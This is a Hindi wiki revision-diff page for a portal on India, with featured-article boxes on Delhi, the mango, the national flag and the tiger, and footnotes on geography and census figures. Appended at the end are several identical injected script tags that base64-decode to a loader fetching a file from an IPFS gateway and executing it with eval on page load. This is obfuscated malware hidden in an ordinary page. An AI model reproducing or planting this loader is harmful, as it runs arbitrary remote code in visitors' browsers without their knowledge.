गोविन्द राम (चर्चा | योगदान) |
गोविन्द राम (चर्चा | योगदान) |
||
पंक्ति 48: | पंक्ति 48: | ||
<div align="center" style="color:#34341B;">'''[[दिल्ली]]'''</div> | <div align="center" style="color:#34341B;">'''[[दिल्ली]]'''</div> | ||
<div id="rollnone"> [[चित्र:Colaj-delhi.jpg|right|130px|दिल्ली के विभिन्न दृश्य|link=दिल्ली]] </div> | <div id="rollnone"> [[चित्र:Colaj-delhi.jpg|right|130px|दिल्ली के विभिन्न दृश्य|link=दिल्ली]] </div> | ||
− | < | + | <poem> |
− | + | दिल्ली [[भारत]] की राजधानी एवं महानगरीय क्षेत्र है। इसमें [[नई दिल्ली]] सम्मिलित है जो कि ऐतिहासिक पुरानी दिल्ली के बाद बसी थी। महान ऐतिहासिक महत्त्व वाला यह महानगरीय क्षेत्र महत्त्वपूर्ण व्यापारिक, परिवहन एवं सांस्कृतिक हलचलों से भरा है। दिल्ली देश के उत्तरी मध्य भाग में [[गंगा नदी|गंगा]] की एक प्रमुख सहायक [[यमुना नदी|नदी यमुना]] के दोनों तरफ बसी है। दिल्ली देश का तीसरा बड़ा शहर है। यहाँ के ऐतिहासिक स्थल तथा रमणीय स्थल अपने आप में विशेष हैं। [[पर्यटन]] विकास के उद्वेश्य से यह [[आगरा]] और [[जयपुर]] से जुड़ा है। [[महाभारत]] काल में [[पाण्डव|पाण्डवों]] द्वारा बसाया गया [[इन्द्रप्रस्थ]] नगर, दिल्ली आज हमारे देश का [[हृदय]] कहलाता है। '''[[दिल्ली|.... और पढ़ें]]'''</poem> | |
− | + | |- | |
− | + | | class="bggreen4" style="border:1px solid #afce88; padding:10px; -moz-border-radius: 6px;-webkit-border-radius: 6px; border-radius: 6px; " valign="top" | <div style="padding-left:8px; background:#cde3b1; border:thin solid #afce88; color:#34341B;">'''चयनित लेख'''</div> | |
− | + | <div align="center" style="color:#34341B;">'''[[आम]]'''</div> | |
− | </ | + | <div id="rollnone"> [[चित्र:Mango-2.jpg|right|border|130px|आम|link=आम]] </div> |
+ | <poem> | ||
+ | [[भारत]] का राष्ट्रीय फल 'आम' ''मेनिगिफेरा इंडिका'' है। काजू परिवार (एनाकार्डिएसी) का सदस्य, विश्व के उष्णकटिबंधीय क्षेत्र का एक महत्त्वपूर्ण फल है। ऊष्णकटिबंधीय देशों में आम बड़े पैमाने पर पैदा होते हैं। आम को पूर्वी एशिया, [[म्यांमार]] और भारत के [[असम]] राज्य का स्थानीय फल माना जाता है। आम एक गूदे दार फल है, जिसे पकाकर खाया जाता है या कच्चा होने पर इसे अचार आदि में इस्तेमाल किया जाता है। फलों का राजा आम के बारे में लोगों की अलग- अलग धारणाएं हैं। कुछ लोगों का मानना है कि इस फल में बेहद कैलरीज होती हैं, तो वहीं कुछ इसे सेहत के लिए कई तरह से फ़ायदेमंद बताते हैं। गर्मियों में यही एक ऐसा फल है, जो रसीला व मीठा है और हर उम्र के लोगों को भाता है। '''[[आम|.... और पढ़ें]]'''</poem> | ||
|- | |- | ||
| class="bggreen4" style="border:1px solid #afce88; padding:10px; -moz-border-radius: 6px;-webkit-border-radius: 6px; border-radius: 6px; " valign="top" | <div style="padding-left:8px; background:#cde3b1; border:thin solid #afce88; color:#34341B;">'''चयनित लेख'''</div> | | class="bggreen4" style="border:1px solid #afce88; padding:10px; -moz-border-radius: 6px;-webkit-border-radius: 6px; border-radius: 6px; " valign="top" | <div style="padding-left:8px; background:#cde3b1; border:thin solid #afce88; color:#34341B;">'''चयनित लेख'''</div> | ||
<div align="center" style="color:#34341B;">'''[[तिरंगा]]'''</div> | <div align="center" style="color:#34341B;">'''[[तिरंगा]]'''</div> | ||
− | <div id="rollnone"> [[चित्र:Tricolor.jpg|right|130px|तिरंगा|link=तिरंगा]] </div> | + | <div id="rollnone"> [[चित्र:Tricolor.jpg|right|130px|तिरंगा|border|link=तिरंगा]] </div> |
− | + | <poem> | |
− | + | राष्ट्रीय ध्वज तीन [[रंग|रंगों]] से बना है इसलिए हम इसे तिरंगा कहते हैं। तिरंगे में सबसे ऊपर गहरा केसरिया, बीच में [[सफ़ेद रंग|सफ़ेद]] और सबसे नीचे गहरा [[हरा रंग]] बराबर अनुपात में है। केसरिया यानी भगवा रंग वैराग्य का रंग है। हमारे आज़ादी के दीवानों ने इस रंग को सबसे पहले अपने ध्वज में इसलिए सम्मिलित किया जिससे आने वाले दिनों में देश के नेता अपना लाभ छोड़ कर देश के विकास में खुद को समर्पित कर दें। श्वेत रंग [[प्रकाश]] और शांति के प्रतीक के रूप में लिया गया। [[हरा रंग]] प्रकृति से संबंध और संपन्नता दर्शाता है। केंद्र में स्थित अशोक चक्र [[धर्म]] के 24 नियमों की याद दिलाता है। '''[[तिरंगा|.... और पढ़ें]]'''</poem> | |
− | |||
− | |||
|- | |- | ||
| class="bggreen7" style="border:1px solid #c0dc9d; padding:10px; -moz-border-radius: 6px;-webkit-border-radius: 6px; border-radius: 6px; " valign="top" | <div style="padding-left:8px; background:#ddebcb; border:thin solid #c0dc9d; color:#34341B;">'''चयनित लेख'''</div> | | class="bggreen7" style="border:1px solid #c0dc9d; padding:10px; -moz-border-radius: 6px;-webkit-border-radius: 6px; border-radius: 6px; " valign="top" | <div style="padding-left:8px; background:#ddebcb; border:thin solid #c0dc9d; color:#34341B;">'''चयनित लेख'''</div> | ||
<div align="center" style="color:#34341B;">'''[[बाघ]]'''</div> | <div align="center" style="color:#34341B;">'''[[बाघ]]'''</div> | ||
− | <div id="rollnone">[[चित्र:Tiger-3.jpg|right|150px|बाघ|link=बाघ]] </div> | + | <div id="rollnone">[[चित्र:Tiger-3.jpg|right|150px|बाघ|border|link=बाघ]] </div> |
− | < | + | <poem> |
− | + | राष्ट्रीय पशु 'बाघ' [[पीला रंग|पीले रंगों]] और धारीदार लोमचर्म वाला एक पशु है। अपनी शालीनता, दृढ़ता, फुर्ती और अपार शक्ति के लिए बाघ को 'राष्ट्रीय पशु' कहलाने का गौरव प्राप्त है। वर्ष [[2010]] में 'वर्ल्ड वाइड फ़ंड फ़ॉर नेचर' ने बाघों की आबादी महज 3,500 बताई। इसके पहले डब्ल्यू.डब्ल्यू.एफ. ने दुनिया भर में बाघों की संख्या 4000 के लगभग बताई थी। बाघों की इस तरह गिरती संख्या पर केन्द्र सरकार ने [[1973]] में 'नौ टाइगर रिज़र्व' इलाक़ों में 'बाघ बचाओ योजना' शुरू की। इसमें [[उत्तर प्रदेश]] तथा अब [[उत्तराखंड]] का जिम कार्बेट बाघ संरक्षित वन क्षेत्र भी शामिल था। '''[[बाघ|.... और पढ़ें]]'''</poem> | |
− | |||
− | |||
− | |||
− | </ | ||
|- | |- | ||
| style="border:1px solid #c0d7a3;padding:10px; -moz-border-radius: 6px;-webkit-border-radius: 6px; border-radius: 6px; " valign="top" | <div style="padding-left:8px; background:#e3edd7; border:thin solid #b8b7b7; color:#34341B;">'''भारत- एक झलक'''</div> | | style="border:1px solid #c0d7a3;padding:10px; -moz-border-radius: 6px;-webkit-border-radius: 6px; border-radius: 6px; " valign="top" | <div style="padding-left:8px; background:#e3edd7; border:thin solid #b8b7b7; color:#34341B;">'''भारत- एक झलक'''</div> |
11:50, 2 मई 2012 का अवतरण
| ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
टीका टिप्पणी और संदर्भ
- ↑ (विश्व का 2.2% विश्व में 7वां स्थान)
- ↑ एकदम दक्षिणी भाग की भूमध्य रेखा से दूरी
- ↑ उत्तर में हिमालय पर्वतमाला से लगे हुए चीन, नेपाल तथा भूटान, पूर्व में पर्वतीय श्रृंखला से अलग हुआ म्यान्मार तथा पूर्व में ही बांग्लादेश, पश्चिम में पाकिस्तान एवं अफ़ग़ानिस्तान तथा दक्षिण में हिन्द महासागर, बंगाल की खाड़ी एवं अरब सागर।
- ↑ द्वीपों सहित समुद्री सीमा की कुल लंबाई
- ↑ स्थलीय सीमा की लंबाई
- ↑ संघशासित क्षेत्रों की संख्या
- ↑ 2011 की जनगणना के अनुसार
- ↑ बंगाल की खाड़ी में द्वीपों की संख्या- 204, अरब सागर में द्वीपों की संख्या- 43।
- ↑ वे राज्य जिनसे होकर कर्क रेखा गुजरती है
- ↑ सर्वाधिक नगरीय जनसंख्या वाला संघ शासित क्षेत्र
- ↑ सबसे कम नगरीय जनसंख्या वाला संघ शासित क्षेत्र
- ↑ क्षेत्रफल की दृष्टि से सबसे बड़ा संघशासित क्षेत्र
- ↑ प्रमुख सागरीय मछलियाँ- बटरफिश, स्वेत बेट, सारडाइन, प्रान, मैकरेल, ज्यूफिश, रिबनफिश, कैटफिश, सारंगा, दारा, ट्यूना, मुलेट्स, सियरफिश, शार्क, पामफ्रेट, श्रिम्प आदि। विश्व मत्स्ययन का- 2.7%।
- ↑ कुल क्षेत्रफल का 22.7%
- ↑ सिंचाई के साधन
- ↑ 200 सेमी. वार्षिक वर्षा वाले क्षेत्रों में बिना सिंचाई के
- ↑ 100 से 200 सेमी. वर्षा वालेऐ जलोढ़ एंव काली मिट्टी के क्षेत्रों में
- ↑ उत्तर-पूर्वी भारत, पश्चिमी घाट आदि क्षेत्रों में
- ↑ विशेष रूप से हिमालय के ढालों पर
- ↑ अनुसूचित जातियों की संख्या
- ↑ अनुसूचित जनजातियों की संख्या
- ↑ औसत वार्षिक घातीय वृद्धि दर
- ↑ अनुच्छेद 344 (1), 351, आठवीं अनुसूची के अनुसार 22 भाषाऐं है जिनके नाम इस प्रकार है:- असमिया , बांग्ला , गुजराती , हिन्दी , कन्नड़ , कश्मीरी , कोंकणी , मलयालम , मणिपुरी , मराठी , नेपाली , उड़िया , पंजाबी , संस्कृत , सिंधी , तमिल , उर्दू , तेलुगु , बोडो , डोगरी , मैथिली , संथाली
- ↑ कृषि से संबंधित कार्य में संलग्न उद्यमों का प्रतिशत
- ↑ गैर-कृषि संबंधी कार्यों में संलग्न उद्यमों का प्रतिशत
- ↑ कुल उद्यमों का 1.4%
- ↑ जवाहर लाल नेहरू अन्तर्राष्ट्रीय हवाई अड्डा (सान्ताक्रुज, मुम्बई), सुभाष चन्द्र बोस हवाई अड्डा (दमदम- कोलकाता), इन्दिरा गाँधी अन्तर्राष्ट्रीय हवाई अड्डा (पालम, दिल्ली), मीनाम्बकम हवाई अड्डा (चेन्नई) तथा तिरुवनन्तपुरम।
- ↑ रचयिता-गुरुदेव रवीन्द्र नाथ टैगोर
- ↑ रचयिता- बंकिमचन्द्र चटर्जी
- ↑
सत्यमेव जयते नानृतं सत्येन पंथा विततो देवयानः।
येनाक्रमन्त्यृषयो ह्याप्तकामा यत्र सत्सत्यस्य परमं निधानम्॥ - ↑ 31.0 31.1 India : Census 2011
- ↑ Population Density per Square Mile of Countries
- ↑ 33.0 33.1 33.2 33.3 Report for Selected Countries and Subjects (अंग्रेज़ी) (ए.एस.पी) International Monetory Fund। अभिगमन तिथि: 15 मई, 2012।
- ↑ सितम्बर 2006-2011 की स्थिति के अनुसार
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>